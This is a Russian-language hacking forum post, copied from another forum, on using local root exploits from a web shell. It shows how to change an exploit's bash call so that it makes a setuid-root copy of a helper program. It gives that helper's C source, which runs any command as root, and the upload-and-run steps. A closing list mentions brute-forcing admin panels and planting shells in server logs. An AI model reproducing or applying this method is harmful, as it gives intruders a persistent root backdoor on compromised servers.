По поводу запуск эксплойтов из под веба. Не зачем переписывать велосипед, если есть очень хорошее решение:
Копипаст с рдота.
Автор
Grey
-----------ВСЁ ЧТО НИЖЕ АВТОРСТВО Grey В ОРИГИНАЛЕ. Я НЕ ИМЕЮ ОТНОШЕНИЯ К ЭТОЙ РАЗРАБОТКЕ-----------
На случай если нельзя забиндить порт и сделать бекконект.
Берем сплоент находим в нём строку запускающую Баш, уже из под рута:
execl("/bin/bash", "bash", "-i", NULL);
И заменяем её вот на такую:
execl("/bin/bash","/bin/bash", "-c", "cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;", NULL);
В результате будет выполняться указанная команда. В данном случае для exec2 будет добавлен суидный бит, а так же изменён владелец и группа файла, и поставлены права необходимые для выполнения файла.
exec - маленькая программка на c, выполняющая команды, её содержимое:
Code:
/* Command executer; Coded by Grey; */
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
if(argc == 2) {
setgid(0); setuid(0);
system(argv[1]); }
return 0;
}
Юзаем так:
Заливаем изменённый эксплойт sp, и программу exec.
Устанавливаем права для запуска эксплойта: chmod 755 sp
Запускаем эксплойт: ./sp
И если всё норм, получаем суидник exec2
Обращаемся к ниму следующим образом: ./exec2 "[cmd]", к примеру: ./exec2 "id"
Все авации к нему.
---------- Сообщение добавлено в 11:00 AM ---------- Предыдущее сообщение размещено в 10:57 AM ----------
Брут вебадминок, обзор софта.
Про рутание сервера с шела.
Заливка шела/эксплойта в логи сервака, последующая компилиция и запуск
Никогда не поддерживал брутфорс, помочь не могу.